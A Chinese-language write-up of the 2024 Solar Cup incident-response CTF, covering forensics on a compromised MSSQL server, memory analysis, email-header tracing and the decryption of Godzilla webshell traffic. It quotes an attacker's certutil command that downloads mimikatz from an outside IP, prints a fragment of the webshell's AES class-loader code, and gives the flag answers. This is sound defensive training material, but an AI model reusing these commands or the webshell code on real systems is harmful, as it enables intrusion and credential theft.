2024第一届Solar杯应急响应挑战赛
学习
2024第一届Solar杯应急响应挑战赛
附件密码：
KzXGabLkDjs&j@3a&fAayNmD
数据库
这里导入镜像有个问题会报错
Failed to write content to disk F:\长城杯+国赛\应急比赛\【题目】小题+综合题\solar\mssql\mssql\\mssql-disk1.vmdk. Reason: There is not enough space on the file system for the selected operation。
解决问题，打开 mssql.ovf 把这个位置，改成这几 vm 的版本，然后再将 mssql.mf 里面的哈希值替换一下，然后就能导入成功了
certutil -hashfile mssql.ovf SHA256
接着使用大白菜修改密码 Vmware虚拟机中windows系统用户名密码忘记处理方法 - 简书，这里有些几个步骤不一样，我们设置好大白菜的镜像后，开机后重启，一直按 F2 进入 BIOS界面，后面就一样了
然后将镜像文件在设置回来就能用我们的密码进行登入了
数据库-1
题目：
题目附件：mssql、mssql题-备份数据库
请找到攻击者创建隐藏账户的时间
flag格式 如 flag
思路：
我们刚刚在登入的时候有个 test$ ，直接查看这个用户就行
net user test$
flag：flag{2024/12/16 15:24:21}
数据库-2
题目附件：mssql、mssql题-备份数据库
请找到恶意文件的名称
flag格式 如 flag{ . }
思路：
上传我们的火绒剑找打
flag：flag{xmrig.exe}
数据库-3
题目描述：
题目附件：mssql、mssql题-备份数据库
请找到恶意文件的外联地址
flag格式 如 flag
思路：
问题 2 找到的
flag：flag{203.107.45.167}
数据库-4
题目描述：
题目附件：mssql、mssql题-备份数据库
请修复数据库
flag格式 如 flag{xxxxx}分数
99.34 分
数据库-5
题目描述：
题目附件：mssql、mssql题-备份数据库
请提交powershell命令中恶意文件的MD5
flag格式 如 flag
内存取证
内存取证-1
题目描述：
题目文件：SERVER-2008-20241220-162057
请找到rdp连接的跳板地址
flag格式 flag
思路：
直接查看网络扫描使用，netscan 插件，看到 443 端口连接的地址
flag：flag{192.168.60.220}
内存取证-2
题目描述：
题目文件：SERVER-2008-20241220-162057
请找到攻击者下载黑客工具的IP地址
flag格式 flag
思路：
查看一下命令扫描 cmdscan 发现执行了 curl 指令
certutil -urlcache -split -f http://155.94.204.67:85/mimikatz.exe C:\Windows\Temp\mi.exe
flag：flag{155.94.204.67}
内存取证-3
题目描述:
题目文件：SERVER-2008-20241220-162057
攻击者获取的“FusionManager节点操作系统帐户（业务帐户）”的密码是什么
flag格式 flag
思路：
我们在题目 2 中发现 type pass.txt 这个命令，然后我们 找到，pass 文件使用 dumpfiles 插件导出
flag：flag{GalaxManager_2012}
内存取证-4
题目描述:
题目文件：SERVER-2008-20241220-162057
请找到攻击者创建的用户
flag格式 flag
思路：
使用 hashdump 可以查看用户名密码信息
flag{ASP.NET}
内存取证-5
题目描述:
题目文件：SERVER-2008-20241220-162057
请找到攻击者利用跳板rdp登录的时间
flag格式 flag
思路：
找到登入的时间，我们去分析一下日志文件，先把日志文件都导出来利用 MemProcFS 这个工具，然后直接使用日志文件分析工具进行分析，全拖进去就行
flag：flag{2024/12/21 00:15:34}
内存取证-6
题目描述:
题目文件：SERVER-2008-20241220-162057
请找到攻击者创建的用户的密码哈希值
flag格式 flag
思路：
根据题目 4 可以看到 哈希值
flag：flag{5ffe97489cbec1e08d0c6339ec39416d}
签到
题目描述：
本题作为签到题,请给出邮服发件顺序。
Received: from mail.da4s8gag.com ([140.143.207.229])
by newxmmxszc6-1.qq.com (NewMX) with SMTP id 6010A8AD
for ; Thu, 17 Oct 2024 11:24:01 +0800
X-QQ-mid: xmmxszc6-1t1729135441tm9qrjq3k
X-QQ-XMRINFO: NgToQqU5s31XQ+vYT/V7+uk=
Authentication-Results: mx.qq.com; spf=none smtp.mailfrom=;
dkim=none; dmarc=none(permerror) header.from=solar.sec
Received: from mail.solar.sec (VM-20-3-centos [127.0.0.1])
by mail.da4s8gag.com (Postfix) with ESMTP id 2EF0A60264
for ; Thu, 17 Oct 2024 11:24:01 +0800 (CST)
Date: Thu, 17 Oct 2024 11:24:01 +0800
To: hellosolartest@qq.com
From: 鍏嬪競缃戜俊
Subject:xxxxxxxxxx
Message-Id: <20241017112401.032146@mail.solar.sec>
X-Mailer: QQMail 2.x
XXXXXXXXXX
flag格式为flag{domain1|...|domainN}
flag：flag{mail.solar.sec|mail.da4s8gag.com|newxmmxszc6-1.qq.com}
日志流量
日志流量-1
题目描述:
题目文件：tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击：
黑客疑似删除了webshell后门，小王找到了可能是攻击痕迹的文件但不一定是正确的，请帮他排查一下。
flag格式 flag
思路：
直接使用 D 盾进行扫描，扫到一个后门文件
发现密文
ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0=
flag：flag{A7b4_X9zK_2v8N_wL5q4}
日志流量-2
题目描述：
题目文件：tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击：
小王拿到了当时被入侵时的流量，其中一个IP有访问webshell的流量，已提取部分放在了两个pcapng中了。请帮他解密该流量。
flag格式 flag{xxxx}分数
85.95 分
思路：
通过题目 1 我们能找到 aes 加密的密钥：a2550eeab0724a69
String code="ZiFsXmEqZ3tBN2I0X1g5ektfMnY4Tl93TDVxNH0="; String xc="a2550eeab0724a69"; class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}
查看流量包也知道这是一个哥斯拉的流量，解密就行
flag：flag{sA4hP_89dFh_x09tY_lL4SI4}
日志流量-3
题目描述：
题目文件：tomcat-wireshark.zip/web
新手运维小王的Geoserver遭到了攻击：
小王拿到了当时被入侵时的流量，黑客疑似通过webshell上传了文件，请看看里面是什么。
flag格式 flag
逆向破解
逆向破解-1
题目描述：
题目文件：【题目】加密器逆向
请逆向该加密器，解密机密文件
flag格式 flag
综合应急
综合应急-1
基本全蒙的没时间了，找到了一些 ip 和 PowerShell 命令
综合应急-2
题目描述：
题目文件：FOG日志
攻击者上传了代理工具，请写出他的最终存放路径
格式为flag
